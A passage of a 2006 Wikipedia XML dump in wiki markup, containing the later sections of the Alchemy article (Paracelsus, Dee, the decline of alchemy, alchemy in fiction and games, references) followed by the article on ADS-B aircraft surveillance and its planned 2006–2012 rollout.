European alchemy continued in this way through the dawning of the [[Renaissance]].  The era also saw a flourishing of [[con artist]]s who would use chemical tricks and sleight of hand to &quot;demonstrate&quot; the transmutation of common metals into gold, or claim to possess secret knowledge that — with a &quot;small&quot; initial investment — would surely lead to that goal. 

The most important name in this period is Philippus Aureolus [[Paracelsus]], (Theophrastus Bombastus von Hohenheim, 1493–1541) who cast alchemy into a new form, rejecting some of the occultism that had accumulated over the years and promoting the use of observations and experiments to learn about the human body. He rejected Gnostic traditions, but kept much of the Hermetical, neo-Platonic, and Pythagorean philosophies; however, Hermetical science had so much Aristotelian theory that his rejection of Gnosticism was practically meaningless. In particular, Paracelsus rejected the magic theories of Agrippa and Flamel. He did not think of himself as a magician, and scorned those who did. (Williams p.239-45) 

Paracelsus pioneered the use of chemicals and minerals in medicine, and wrote &quot;Many have said of Alchemy, that it is for the making of gold and silver. For me such is not the aim, but to consider only what virtue and power may lie in medicines.&quot; {{ref_harvard|Edwardes|Edwardes, p.47|g}} His hermetical views were that sickness and health in the body relied on the harmony of man the microcosm and Nature the macrocosm. He took an approach different from those before him, using this analogy not in the manner of soul-purification  but in the manner that humans must have certain balances of minerals in their bodies, and that certain illnesses of the body had chemical remedies that could cure them. {{ref_harvard|Debus|Debus &amp; Multhauf, p.6-12|a}} While his attempts of treating diseases with such remedies as Mercury might seem ill-advised from a modern point of view, his basic idea of chemically produced medicines has stood time surprisingly well.

[[Image:Alchemik Sedziwoj Matejko.JPG|thumb|left|400px|Alchemist Michal Sedziwoj|&quot;Alchemik Michał Sędziwój&quot;, oil on board by [[Jan Matejko]], 73 x 130 cm, Museum of Arts in [[Łódź]].]]
In [[England]], the topic of alchemy in that time frame is often associated  with Doctor [[John Dee]] ([[13 July]] [[1527]] – December, 1608), better known for his role as [[astrologer]], cryptographer, and general &quot;scientific consultant&quot; to [[Elizabeth I of England|Queen Elizabeth I]]. Dee was considered an authority on the works of [[Roger Bacon]], and was interested enough in alchemy to write a book on that subject (''Monas Hieroglyphica'', 1564) influenced by the [[Kabbala]]. Dee's associate [[Edward Kelley]] — who claimed to converse with [[angel]]s through a crystal ball and to own a powder that would turn [[mercury (element)|mercury]] into [[gold]] — may have been the source of the popular image of the alchemist-charlatan. 

Another lesser known alchemist was [[Michał Sędziwój|Michael Sendivogius]] (''Michał Sędziwój'', 1566 - 1636), a [[Poland|Polish]] alchemist, philosopher, medical doctor and pioneer of chemistry. According to some accounts, he distilled [[oxygen]] in a lab sometime around 1600, 170 years before [[Karl Wilhelm Scheele|Scheele]] and [[Joseph Priestley|Priestley]], by warming nitre ([[saltpetre]]). He thought of the gas given off as &quot;the elixir of life&quot;. Shortly after discovering this method, it is believed that Sendivogious taught his technique to [[Cornelius Drebbel]]. In 1621, Drebbel practically applied this in a submarine.

[[Tycho Brahe]] (1546–1601), better known for his [[astronomical]] and [[astrological]] investigations, was also an alchemist. He had a laboratory built for that purpose at his [[Uraniborg]] observatory/research institute.

===The decline of Western alchemy===
The demise of Western alchemy was brought about by the rise of modern science with its emphasis on rigorous quantitative experimentation and its disdain for &quot;ancient wisdom&quot;. Although the seeds of these events were planted as early as the 17th century, alchemy still flourished for some two hundred years, and in fact may have reached its apogee in the 18th century.

[[Robert Boyle]] (1627–1691), better known for his studies of gases (cf. [[Boyle's law]]) pioneered the scientific method in chemical investigations. He assumed nothing in his experiments and compiled every piece of relevant data; in a typical experiment, Boyle would note the place in which the experiment was carried out, the wind characteristics, the position of the Sun and Moon, and the barometer reading, all just in case they proved to be relevant.  {{ref_harvard|Pilkington|Pilkington p.11|a}} This approach eventually led to the founding of modern chemistry in the [[18th century|18th]] and [[19th century|19th]] centuries, based on revolutionary discoveries of [[Antoine Lavoisier|Lavoisier]] and [[John Dalton]] — which finally provided a logical, quantitative and reliable framework for understanding matter transmutations, and revealed the futility of longstanding alchemical goals such as the philospher's stone.

Meanwhile, Paracelsian alchemy led to the development of modern medicine.  Experimentalists gradually uncovered the workings of the human body, such as blood circulation ([[William Harvey|Harvey]], [[1616]]), and eventually traced many diseases to infections with germs ([[Robert Koch|Koch]] and [[Louis Pasteur|Pasteur]], 19th century) or lack of ''natural'' nutrients and [[vitamin]]s ([[James Lind|Lind]], [[Christiaan Eijkman|Eijkman]], [[Casimir Funk|Funk]], et al.). Supported by parallel developments in organic chemistry, the new science easily displaced alchemy from its medical roles, interpretive and prescriptive, while deflating its hopes of miraculous elixirs and exposing the ineffectiveness or even toxicity of its remedies.

Thus, as science steadily continued to uncover and rationalize the clockwork of the universe, founded on its own materialistic metaphysics, Alchemy was left deprived of its chemical and medical connections — but still incurably burdened by them.  Reduced to an arcane philosophical system, poorly connected to the material world, it suffered the common fate of other [[esoteric]] disciplines such as [[astrology]] and [[Kabbalah]]: excluded from [[university]] curricula, shunned by its former patrons, [[damned knowledge|ostracized]] by scientists, and commonly viewed as the epitome of [[charlatan]]ism and [[superstition]].

These developments could be interpreted as part of a broader reaction in European intellectualism against the [[Romanticism|Romantic]] movement of the preceding century. Be as it may, it is sobering to observe how a discipline that held so much intellectual and material prestige, for more than two thousand years, could disappear so easily from the universe of Western thought.

===Modern 'alchemy'===
In modern times, progress has been made toward achieving the goals of alchemy using scientific, rather than alchemic, means.  These developments may on occasion be called &quot;alchemy&quot; for rhetorical reasons.

In 1919, [[Ernest Rutherford]] used [[artificial disintegration]] to convert nitrogen into oxygen. This process of bombarding the atomic nucleus with high energy particles is the principle behind modern [[particle accelerators]], in which transmutations of elements are common. Indeed, in 1980, [[Glenn Seaborg]] transmuted lead into gold, though the amount of energy used and the microscopic quantities created negated any possible financial benefit.

In 1964,  [[George Ohsawa]] and [[Michio Kushi]], based on the claims of [[Louis Kervran]], reportedly successfully transmutated [[sodium]] into [[potassium]], by use of an electric arc, and later of [[carbon]] and [[oxygen]] into [[iron]]. In 1994, [[R. Sundaresan]] and [[J. Bockris]] reported that they had observed fusion reactions in electrical discharges between carbon rods immersed in water. However, none of these claims have been replicated by other scientists, and the idea is now thoroughly discredited.

As of 2006, a universal panacea remains elusive, though [[futurist]]s such as [[Ray Kurzweil]] believe sufficiently advanced [[nanotechnology]] may prolong life indefinitely. Some say the third goal of alchemy has been fulfilled by [[In vitro fertilization|IVF]] and the [[cloning]] of a human embryo, although these technologies fall far short of creating a human life from scratch.

The aim of [[artificial intelligence]] research could be said to be creating a life from scratch, and those philosophically opposed to the possibility of AI have compared it with alchemy, such as Herbert and Stuart Dreyfus in their 1960 paper ''Alchemy and AI''.

==Alchemy in art and entertainment ==
References to alchemy in art and entertainment are far too numerous to list.  Here we give only a few indicative samples.  More titles can be found in the [[philosopher's stone]] article.

===Novels and plays===
Many [[literature|writers]] lampooned alchemists and used them as the butt of [[satire|satirical]] attacks.  Two early and well-known examples are

*[[Geoffrey Chaucer]], ''[[The Canon's Yeoman's Prologue and Tale|Canon's Yeoman's Tale]]'' (ca. 1380). The main character, an alchemist on the way to [[Canterbury]], claims that he will &quot;pave it all of silver and of gold&quot;.
*[[Ben Jonson]], ''[[The Alchemist (play)|The Alchemist]]'' (ca 1610). In this five-act play, the characters set up an alchemy workshop to swindle people. 

[[Image:Alchemical Laboratory - Project Gutenberg eText 14218.jpg|thumbnail|right|250px|An Alchemical Laboratory, from ''The Story of Alchemy and the Beginnings of Chemistry'']]

In more recent works, alchemists are generally presented in a more romatic or mystic light, and often little distinction is made between alchemy, magic, and witchcraft:

*[[Mary Wollstonecraft Shelley|Mary Shelley]],  ''[[Frankenstein]]'' (1818). Victor Frankenstein uses both alchemy and modern science to create [[Frankenstein's monster]].
*[[Johann Wolfgang von Goethe|Goethe]], ''[[Faust, Part 2]]'' (1832). Faust's servant Wagner uses alchemy to create a [[homunculus]].
*[[Gabriel García Márquez]], ''[[One Hundred Years of Solitude]]'' (1967). An alchemist named Melquíades adds to the novel's surreal atmosphere.
*[[Paulo Coelho]], ''[[The Alchemist (book)|The Alchemist]]'' (1988).
*[[J. K. Rowling]], ''[[Harry Potter and the Philosopher's Stone]]'' (1997). Features [[Nicholas Flamel]] as a character.
*[[Neal Stephenson]], ''[[The Baroque Cycle]]'' (2003–2004).  Features real and imaginary alchemists such as [[Isaac Newton]], [[Nicolas Fatio de Duillier|de Duillier]], and [[Enoch Root]].
*[[Martin Booth]], ''[[Doctor Illuminatus: The Alchemist's Son]]'' (2003).
*[[Margaret Mahy]], ''[[Alchemy (Margaret Mahy book)|Alchemy]]'' (2004). 
*[[John Fasman]], ''[[The Geographer's Library]]''&lt;!--DATE??--&gt;, whose plot revolves around thirteen alchemical artifacts.
*[[Gregory Keyes]], ''[[Age of Unreason]]''&lt;!--DATE??--&gt;.  Features [[Isaac Newton]] and [[Nicolas Fatio de Duillier|de Duillier]].
*[[Cornelia Funke]], ''[[Dragon Rider]]'' (2004).  Twigleg the [[homonculus]] was created by an alchemist.

===Comics, manga, and video games===
*[[Stan Lee]] and [[Jack Kirby]], ''[[Fantastic Four]]'' comics (ca. 1962–). Villain [[Diablo (comics)|Diablo]] is an alchemist.
*[[Darklands]] PC game (1992).  Alchemy features prominently throughout the game.
*[[Mike Mignola]]'s ''[[Hellboy]]'' comics (1993–). The character [[Roger the Homunculus]] was created by alchemy.
*[[Nintendo]]'s [[Golden Sun]] video game (2001). Alchemy is an evil force that threatens the world.
*[[Hiromu Arakawa]], ''[[Fullmetal Alchemist]]'' (2002–). 'Alchemists' can transform anything within the principle of [[Equivalent Exchange]].
*[[Nobuhiro Watsuki]], ''[[Buso Renkin|Weapon Alchemist]]'' manga (2003?–).
*[[Kazuki Takahashi]], ''[[Yu-Gi-Oh! GX]]'' anime (2004–). The character [[Lyman Banner|Daitokuji]] is an alchemist who preserved his soul within a homunculus.
*Nintendo's [[Final Fantasy Tactics Advance]] video game (2003). Has a playable class called Alchemist.
*[[Bethesda Softworks]]' [[The Elder Scrolls III: Morrowind]] prominently features alchemy as a method of creating various potions for use by the player.
*[[Indiana Jones and the Emperor's Tomb]] computer game (2003). A large portion of the game is centered around a castle in Prague formerly owned by an alchemist king.
*[[World of Warcraft]] computer game (2004). Alchemy is one of the [[Professions_(World_of_Warcraft)#Alchemy|professions]] the player can learn.
&lt;!--Please provide dates --&gt;

===Music===
*[[Tool (band)]], album ''[[Lateralus]]'' (2001).

==References==
* {{note_label|Augustine|Augustine, p. 245|a}} {{cite book | author=Augustine | title=The Confessions | publisher=New York: Mentor Books | year=1963 | id= }} Trans. Rex Warner.
* {{note_label|Burkhardt|Burckhardt, p. 196-7|a}}{{note_label|Burkhardt|Burckhardt,p. 34-42|b}}{{note_label|Burkhardt|Burckhardt p. 46|c}}{{note_label|Burkhardt|Burkhardt, p. 29|d}}{{note_label|Burkhardt|Burckhardt, p. 29|e}}{{note_label|Burkhardt|Burckhardt, p. 10-22|f}}{{note_label|Burkhardt|Burckhardt p. 149|g}}{{note_label|Burkhardt|Burckhardt pp.170-181|h}} {{cite book | first=Titus | last=Burckhardt | authorlink=Titus Burckhardt  | title=Alchemy: Science of the Cosmos, Science of the Soul. | publisher=Baltimore:Penguin | year=1967 | id= }} Trans. William Stoddart.
* Cavendish, Richard, The Black Arts, Perigee Books
* {{note_label|Debus|Debus &amp; Multhauf, p.6-12|a}} {{cite book | author=Debus, Allen G. and Multhauf, Robert P. | title=Alchemy and Chemistry in the Seventeenth Century | publisher=Los Angeles:  William Andrews Clark Memorial Library, University of California. | year=1966 | id= }}
* {{note_label|Edwardes|Edwardes pp. 33-59|a}}{{note_label|Edwardes|Edwardes p. 37-8|b}}{{note_label|Edwardes|Edwardes p. 24-7|c}}{{note_label|Edwardes|Edwardes, p.49|d}}{{note_label|Edwardes|Edwardes pp. 50-75|e}}{{note_label|Edwardes|Edwardes p.56-9|f}}{{note_label|Edwardes|Edwardes, p.47|g}} {{cite book | author=Edwardes, Michael | title=The Dark Side of History | publisher=New York: Stein and Day | year=1977 | id= }}
* {{cite book | author=Gettgins, Fred | title=Encyclopedia of the Occult | publisher=London: Rider | year=1986 | id= }}
* {{note_label|Hitchcock|Hitchcock, p. 66|a}} {{cite book | author=Hitchcock, Ethan Allen | title=Remarks Upon Alchemy and the Alchemists | publisher=Boston: Crosby, Nichols | year=1857 | id= }}
* {{note_label|Hollister|Hollister p. 124, 294|a}}{{note_label|Hollister|Hollister, p. 287-8|b}}{{note_label|Hollister|Hollister pp. 294-5|c}}{{note_label|Hollister|Hollister p. 290-4, 355|d}}{{note_label|Hollister|Hollister p. 294-5|e}}{{note_label|Hollister|Hollister p. 335|f}} {{cite book | author=Hollister, C. Warren | title=Medieval Europe: A Short History | publisher=Blacklick, Ohio: McGraw-Hill College | year=1990 | id=ISBN 0075571412 }} 6th ed.
* {{note_label|Lindsay|Lindsay, p. 16|a}}{{note_label|Lindsay|Lindsay|b}}{{note_label|Lindsay|Lindsay, p. 155|c}} {{cite book | author=Lindsay, Jack | title=The Origins of Alchemy in Graeco-Roman Egypt | publisher=London: Muller. | year=1970 | id=ISBN 0389010065 }}
* {{cite book | author=Marius | title=On the Elements | publisher=Berkeley: University of California Press | year=1976 | id=ISBN 0520028562 }} Trans. Richard Dales.
* {{note_label|Norton|Norton pp lxiii-lxvii|a}} {{cite book | author=Norton, Thomas (Ed. John Reidy) | title=Ordinal of Alchemy | publisher=London: Early English Text Society | year=1975 | id=ISBN 0197222749 }}
* {{note_label|Pilkington|Pilkington p.11|a}} {{cite book | author=Pilkington, Roger | title=Robert Boyle:  Father of Chemistry | publisher=London: John Murray | year=1959 | id= }}
* {{cite book | author=Weaver, Jefferson Hane | title=The World of Physics | publisher=New York: Simon &amp; Schuster | year=1987 | id= }}
* {{note_label|Wilson|Wilson p.23-9|a}} {{cite book | author=Wilson, Colin | title=The Occult: A History | publisher=New York: Random House | year=1971 | id=ISBN 0394465555 }}
* {{cite book | author=Zumdahl, Steven S. | title=Chemistry | publisher=Lexington, Maryland: D. C. Heath and Co. | year=1989 | id=ISBN 0669167088 }} 2nd ed.
* {{cite book | author=Greenberg, Adele Droblas | title=Chemical History Tour, Picturing Chemistry from Alchemy to Modern Molecular Science | publisher=Wiley-Interscience | year=2000 | id=ISBN 0471354082 }}

==See also==
===Other alchemical pages===
{{commons|Alchemy}}
*[[Vulcan of the alchemists]]
*[[Philosopher's stone]]
*[[Hermeticism]]
*[[Astrology and alchemy]]
*[[Transmutation]]
*[[Duality]]
*[[The four humours]]
*[[Alkahest]], [[arcanum]], [[berith]], [[elixir]], [[quintessence]]
*[[Alembic]]
*[[Alchemical symbol]]&lt;!--
  *[[Circle with a point at its centre]]
--&gt;
*[[Goldwasser|Gold water]]

===Related and alternative philosophies===
*[[Western mystery tradition]]
*[[Astrology]]
*[[Necromancy]], [[magic (paranormal)|magic]], 
*[[Esotericism]], [[Rosicrucianism]], [[Illuminati]]
*[[Taoism]] and the [[Five Elements]]
*[[Kayaku-Jutsu]]
*[[Acupuncture]], [[moxibustion]], [[ayurveda]], [[homeopathy]]
*[[Anthroposophy]]
*[[Psychology]] and [[Carl Jung]]
*[[New Age]]

===Scientific connections===
*[[Chemistry]]
*[[Physics]]
*[[Scientific method]]
*[[Protoscience]], [[Pseudoscience]], and [[Anti-science]]
*[[Obsolete scientific theories]]
*[[Historicism]]

===Substances of the alchemists===
*[[gold]] &amp;bull; [[silver]] &amp;bull; [[lead]] &amp;bull; [[copper]] &amp;bull; [[zinc]] &amp;bull; [[mercury (element)|mercury]]
*[[phosphorus]] &amp;bull; [[sulfur]] &amp;bull; [[arsenic]] &amp;bull; [[antimony]]
*[[vitriol]] &amp;bull; [[cinnabar]] &amp;bull; [[pyrites]] &amp;bull; [[orpiment]] &amp;bull; [[galena]]
*[[magnesium oxide|magnesia]] &amp;bull; [[calcium oxide|lime]] &amp;bull; [[potash]] &amp;bull; [[natron]] &amp;bull; [[saltpetre]] &amp;bull; [[kohl (cosmetics)|kohl]]
*[[ammonia]] &amp;bull; [[ammonium chloride]] &amp;bull; [[alcohol]] &amp;bull; [[camphor]]
* Acids: [[sulfuric acid|sulfuric]] &amp;bull;[[hydrochloric acid|muriatic]] &amp;bull; [[nitric acid|nitric]] &amp;bull; [[acetic acid|acetic]] &amp;bull; [[formic acid|formic]] &amp;bull; [[citric acid|citric]]&amp;bull; [[tartaric acid|tartaric]]
*[[aqua regia]] &amp;bull; [[gunpowder]]

===Other resources===
*[[List of alchemists]]
*[[List of occultists]]

==External links==
Some websites discussing the original notion of alchemical transmutation:
* [http://aras.org''Archive for Research in Archetypal Symbolism'':] A pictorial and written archive of mythological, ritualistic, and symbolic images from all over the world and from all epochs of human history.
* [http://etext.lib.virginia.edu/cgi-local/DHI/dhi.cgi?id=dv1-04 ''Dictionary of the History of Ideas'':] Alchemy
* [http://honolulu.hawaii.edu/distance/sci122/TVtext/24/MOD24.htm Skeptical Chemists]: from alchemy to chemistry, tracing the contributions of Paracelsus
* [http://www.alchemy.cz The Alchemy Museum in Kutna Hora] : World's First Museum Dedicated to Alchemy in All Its Aspects
* [http://antiquity.ac.uk/ProjGall/martinon/index.html A 16th century lab in a 21st century lab] : Analytical study of the archaeological remains of an alchemical laboratory
* [http://www.gutenberg.org/etext/14218 The Story of Alchemy and the Beginnings of Chemistry], 1913, from [[Project Gutenberg]]
* [http://www.levity.com/alchemy/ The Alchemy Website] : A collection of many alchemical texts and other alchemical information

Some websites which appear to espouse modern versions of alchemy:
* [http://www.rexresearch.com/ Rex Research] (Robert Nelson).
* [http://www.alchemicaltaoism.com/ Alchemical Taoism.com] Eases study of the complex Healing Tao qi gong (chi kung) system.  Essays by experienced students and instructors.

[[Category:Alchemy]]
[[Category:Ancient Egypt]]
[[Category:Arabic words]]
[[Category:Esoteric schools of thought]]
[[Category:Gold]]
[[Category:History of ideas]]
[[Category:Obsolete scientific theories]]

{{Link FA|es}}
{{Link FA|pt}}

[[af:Alchemie]]
[[bg:Алхимия]]
[[ca:Alquímia]]
[[cs:Alchymie]]
[[da:Alkymi]]
[[de:Alchemie]]
[[eo:Alkemio]]
[[es:Alquimia]]
[[et:Alkeemia]]
[[fi:Alkemia]]
[[fr:Alchimie]]
[[he:אלכימיה]]
[[hr:Alkemija]]
[[id:Alkimia]]
[[io:Alkemio]]
[[it:Alchimia]]
[[ja:錬金術]]
[[la:Alchemia]]
[[lt:Alchemija]]
[[nl:Alchemie]]
[[nn:Alkymi]]
[[pl:Alchemia]]
[[pt:Alquimia]]
[[ru:Алхимия]]
[[sk:Alchýmia]]
[[sl:Alkimija]]
[[su:Alkémi]]
[[sv:Alkemi]]
[[th:การเล่นแร่แปรธาตุ]]
[[tl:Alkimiya]]
[[tr:Simya]]
[[uk:Алхімія]]
[[zh:炼金术]]</text>
    </revision>
  </page>
  <page>
    <title>Automatic Dependent Surveillance-Broadcast</title>
    <id>574</id>
    <revision>
      <id>39084664</id>
      <timestamp>2006-02-10T16:43:29Z</timestamp>
      <contributor>
        <ip>195.157.81.101</ip>
      </contributor>
      <comment>/* External links */</comment>
      <text xml:space="preserve">'''Automatic Dependent Surveillance-Broadcast''' (also called '''ADS-B''') is a system by which [[aircraft|airplanes]] constantly broadcast their current position and altitude, category of aircraft, [[airspeed]], [[identification]], and whether the aircraft is turning, climbing or descending over a dedicated radio [[datalink]]. This functionality is known as &quot;ADS-B out&quot; and is the basic level of ADS-B functionality.

The ADS-B system was developed in the 1990s.  It relies on data from the [[Global Positioning System]], or any navigation system that provides an equivalent or better service. The maximum range of the system is line-of-sight, typically less than 200 [[nautical mile]]s (370 km). 

The ADS-B transmissions are received by [[air traffic control]] stations, and all other ADS-B equipped aircraft within reception range. Reception by aircraft of ADS-B data is known as &quot;ADS-B in&quot;. 

==Usage==
The initial use of ADS-B is expected to be by [[air traffic control]] and for surveillance purposes and for enhancing pilot situational awareness. ADS-B is lower cost than conventional radar and permits higher quality surveillance of airborne and surface movements.  ADS-B is effective in remote areas or in mountainous terrain where there is no radar coverage, or where radar coverage is limited. The outback of Australia is one such area where ADS-B will provide surveillance where previously none existed. ADS-B also enhances surveillance on the airport surface, so it can also be used to monitor traffic on the taxiways and runways of an airport.  

ADS-B equipped aircraft may also have a [[display]] unit in the cockpit picturing surrounding air traffic from ADS-B data (ADS-B in) and TIS-B (Traffic Information Service-Broadcast) data derived from air traffic radar. Both Pilots and [[air traffic controller]]s will then be able to &quot;see&quot; the positions of air traffic in the vicinity of the aircraft, and this may be used to provide an ASAS (Airborne Separation Assurance System).

Airborne Collision Avoidance Systems may in the future also make use of &quot;ADS-B in&quot;, supplementing the existing TCAS collision avoidance system by what is called 'hybrid surveillance'.

Airbus and Boeing are now expected to include ADS-B out (i.e. the transmitter of information) as standard on new-build aircraft from 2005 onwards. This is in part due to the European requirements for Mode S Elementary Surveillance (which uses 1090MHz Mode S transponder which now is normally capable of ADS-B via Extended Squitter), and some common functionality with ADS-B out. 



==Addressed and Broadcast ADS==
The Radio Technical Commission for Aeronautics’ ([[RTCA]]) Free Flight Selection Committee defines surveillance as “detection, tracking, characterization and observation of aircraft, other vehicles and weather phenomena for the purpose of conducting flight operations in a safe and efficient manner.&quot;

Automatic Dependent Surveillance (ADS) is described as the process of creating and sending a message including the sender’s current position and other surveillance information, such as velocity, intent and flight identification. This information supports aircraft separation management by improving surveillance information at increased ranges, situational awareness and decision making. ADS data can be used in cooperation with data from current radar beacon systems, such as Air Traffic Control Radar Beacon Systems (ATCRBS), Mode S, Traffic Collision Avoidance Systems (TCAS) and primary Air Traffic Control (ATC) radar, and may also be used as a sole means of surveillance.

There are two commonly recognized types of ADS for aircraft applications:
*ADS-Addressed (ADS-A), also known as ADS-Contract (ADS-C), and 
*ADS-Broadcast (ADS-B.

ADS-A provides a surveillance data report that is sent to a specific addressee. For example, ADS-A reports are employed in the Future Air Navigation System (FANS) using the Aircraft Communication Addressing and Reporting System ([[ACARS]]) as the communication protocol. During transoceanic flight, reports are periodically sent by an aircraft to the controlling air traffic region.

When ADS-B is used, aircraft and other vehicles continuously broadcast a message including position, heading, velocity and intent. Other uses may include obstacles transmitting a position message. Aircraft, ground-based stations,  and other users monitoring the channels can receive the information and use it in a wide variety of applications. Because of this potential for broad utilization, a system using ADS-B is most often discussed as a replacement for or an augmentation to current methods of monitoring aeronautical traffic.

To understand the full capability of ADS-B, consider how the current Air Traffic Control system creates information. The radar measures the range and bearing of an aircraft. Bearing is measured by the position of the rotating radar antenna when it receives a response to its interrogation from the aircraft, and range is measured by the time it takes for the radar to receive the interrogation response. 

The antenna beam becomes wider as the aircraft get farther away, making the position information less accurate. Additionally, detecting changes in aircraft velocity requires several radar sweeps that are spaced several seconds apart. In contrast, a system using ADS-B creates and listens for periodic position and intent reports from aircraft. These reports are generated and distributed using precise
instruments, such as the global positioning system (GPS) and Mode S transponders, meaning integrity of the data is no longer susceptible to the range of the aircraft or the length of time between radar sweeps. The enhanced accuracy of the information will be used to improve safety, support a wide variety of applications and increase airport and airspace capacity.

Use of ADS-B for ground-based surveillance requires only ADS-B Out (transmit) capability on the aircraft. With the addition of ADS-B In (receive) capability, the potential for ADS-B applications grows significantly. Some of the equipment and services associated with ADS-B In capability include:
*Cockpit Display of Traffic Information (CDTI), a display of proximate traffic based on ADS-B reports from other aircraft and ground-based facilities.
*Traffic Information Services-Broadcast (TIS-B), a ground-based uplink report of proximate traffic that is under surveillance by ATC but is not ADS-B-equipped.  This service would be available even with limited ADS-B implementation.
*Flight Information Services-Broadcast (FIS-B), a ground-based uplink of flight information services and weather data.

==ADS-B Physical Layer==
Three link solutions are being proposed as the physical layer for relaying the ADS-B position reports: 
*1090 MHz Mode S Extended Squitter (ES), 
*Universal Access Transceiver (UAT) and 
*VHF Digital Link ([[VDL]]) Mode 4. 

===Mode S===
The FAA has announced its selection of the 1090 MHz ES and UAT as the mediums for the ADS-B system in the United States. 1090 MHz ES will be the primary medium for air carrier and high-performance commercial aircraft while UAT will be the primary medium for general aviation aircraft. 

Europe has also chosen 1090 MHz as the primary physical layer for ADS-B. However, the second medium has not yet been selected between UAT and VDL Mode 4.

With 1090 ES, the existing Mode S transponder (or a stand alone 1090 MHz transmitter) supports a message type known as the ES message. It is a periodic message that provides position, velocity, heading, time, and, in the future, intent. The basic ES does not offer intent since current flight management systems do not provide such data – called trajectory change points. To enable an aircraft to send an extended squitter message, the transponder is modified and aircraft position and other status information is routed to the transponder. ATC ground stations and TCAS-equipped aircraft already have the necessary 1090 MHz receivers to receive these signals, and would only require
enhancements to accept and process the additional information. 1090 ES will not support FIS-B, due to regulatory requirements.

===Universal Access Transceiver===
The UAT system is specifically designed for ADS-B operation. A 1 MHz channel in the 900 MHz frequency range is dedicated for transmission of airborne ADS-B reports and for broadcast of ground-based aeronautical information. UAT users would have access to the additional ground-based aeronautical data and would receive reports from proximate traffic (FIS-B and TIS-B).  

===VDL Mode 4===
The VDL Mode 4 system could utilize one or more of the existing aeronautical VHF frequencies as the radio frequency physical layer for ADS-B transmissions. VDL Mode 4 uses a protocol (STDMA) that allows it to be self-organizing, meaning no master ground station is required. This medium is best used for short message transmissions from a large number of users. VDL Mode 4 systems are capable of increased range in comparison to L Band Mode S (1090 MHz) or UAT systems. 

==Implementation Timetable==
The timetable for airborne ADS-B equipage will be determined by ground and airborne facility implementation, equipment cost, perceived benefits of equipping and regulatory actions by the Civil Aviation Authorities (CAA). The cost to equip with ADS-B Out capability is relatively small and would benefit the airspace by enabling increased situational awareness. ADS-B In capability can provide additional benefits when ground stations and the critical mass of aircraft are also equipped. This data was taken into consideration when building the following estimated implementation timetable. 

===Near-term Implementation (2006-2008)=== 
The next three years will see a continuation of ADS-B trials and some implementation in “pockets” where limited aircraft equipage can bring operational benefits. Some of these include:
*'''Capstone'''.  In Alaska, the FAA is conducting its Capstone program to improve surveillance in some of the more remote locations of Alaska and as a test bed for implementing elements of ADS-B into the ATC environment. Approximately 190 general aviation users have been equipped with GPS receivers, UAT transceivers and flight deck displays. In addition, 11 ground-based transceivers have been installed for radar-like services, and flight information services data (FIS-B), including weather information, is being uplinked from the ground. Phase II of the program will expand the coverage and add more than 250 additional users.
*'''Gulf of Mexico''' – In the Gulf of Mexico, where ATC radar coverage is incomplete, the FAA is locating ADS-B (1090 MHz) receivers on oil rigs and buoys to relay information received from aircraft equipped with ADS-B extended squitters back to the ATC centers to expand and improve surveillance coverage. 
*'''Australia'''.  Australia is implementing ADS-B trials in Queensland to test the feasibility of 1090 MHz ADS-B as an alternative to ground-based radar. ADS-B is expected to be a much more cost-effective method of providing ATC surveillance coverage for remote areas which currently have limited or no surveillance coverage.
*'''Cargo Airline Association'''.  Cargo carriers operating at their hub airports operate largely at night. Equipage of these aircraft with ADS-B and CDTI displays along with a ground-based transceiver at these hubs will allow better situational awareness at night and in inclement weather and offers the potential for increased airport traffic handling capability.
*'''Embry Riddle Aeronautical University'''.  Embry Riddle Aeronautical University is equipping the training aircraft at its two main campuses in Florida and Arizona with ADS-B capability as a safety enhancement. The FAA will provide FIS-B and TIS-B uplink capabilities in those areas in support of this equipage.
*'''Safe Flight 21 East Coast Broadcast Services'''.  The FAA has announced its intention to implement ADS-B coverage for the entire east coast of the U.S. by the end of 2004. Service range will extend inland 150 miles with a goal of providing coverage at altitudes down to 2,000 feet. The medium will be UAT and the implementation will also include TIS-B and FIS-B information.

===Mid-term Implementation (2008-2012)=== 
Within four to eight years, an increasing number of aircraft with ADS-B Out capability along with the start of ground-based ADS-B infrastructure will begin to make a number of ADS-B applications attractive.
*Benefits of “Pockets of Implementation” will become evident and these areas will be expanded, encouraging more users to equip with ADS-B capability.
*Beginning in 2004 the FAA is expected to deploy ADS-B ground infrastructure based on ASDE-X equipment. This infrastructure will allow the use of ADS-B data for ATC purposes such as surface movement tracking/guidance and airborne surveillance.
*Ground uplinks of TIS-B and FIS-B will commence where the ground infrastructure is deployed.
*Other Civil Aviation Authorities may install ADS-B ground infrastructure and require aircraft to be equipped with ADS-B Out for operation in selected airspace. Australia is expected to be the first country to do so; however, a number of other countries with limited surveillance coverage may find ADS-B an attractive alternative to radar surveillance.
*Significant numbers of users will become equipped with a minimum of ADS-B Out capability. In Europe, 1090 MHz ES will become standard capability for all new Mode S transponder installations after 31 March, 2005. UAT will become increasingly popular in the upper end of the general aviation market.
*Airport Situational Awareness – A combination of detailed airport maps, airport multilateration (ASDE-X) systems, enhanced aircraft displays and ADS-B have the potential to significantly improve Runway situational awareness.
*Oceanic In-trail – ADS-B can provide enhanced situational awareness and safety for Oceanic In-trail maneuvers as additional aircraft become equipped.
*Use of ADS-B and CDTI will allow decreased approach spacing and closely spaced parallel approaches at congested airports with improved safety and capacity during low-/lower-visibility operations.

===Long-term Implementations (2012 and beyond)===
*Air carriers’ fleets will achieve intended ADS-B benefits in the terminal and en route airspace.
*New Aircraft Separation Assurance applications will take advantage of the increased situational awareness and positional accuracy available in an airspace environment largely equipped with ADS-B capability.
*FIS-B and TIS-B services will encourage general aviation equipage in all market segments.

==References==

==See also==
*[[DO-212]]  Minimal Operational Performance Standards for Airborne Automatic Dependent Surveillance (ADS) Equipment

==External links==
*[http://www.airservicesaustralia.com/pilotcentre/projects/adsb/default.asp Airservices Australia ADS-B info]
* [http://www.flyadsb.com Safe Flight 21 ADS-B Projects]
* [http://www.alaska.faa.gov/capstone/ Capstone ADS-B Project]
* [http://www.nup.nu NUP II Project]
* [http://www.adsmedup.it/ ADS-MEDUP Project]
* [http://www.eurocontrol.int/cascade/public/subsite_homepage/homepage.html Eurocontrol CASCADE Programme]
* [http://www.eurocae.org/ European Organisation for Civil Aviation Equipment]
* [http://www.janes.com/aerospace/civil/news/jar/jar060117_1_n.shtml US crunches the numbers before committing to ADS-B] Jane's Airport Review

[[Category:Avionics]]</text>
    </revision>
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    <title>Air Transport</title>
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        <username>Optim</username>
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      <text xml:space="preserve">#REDIRECT [[Aviation]]</text>
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  </page>
  <page>
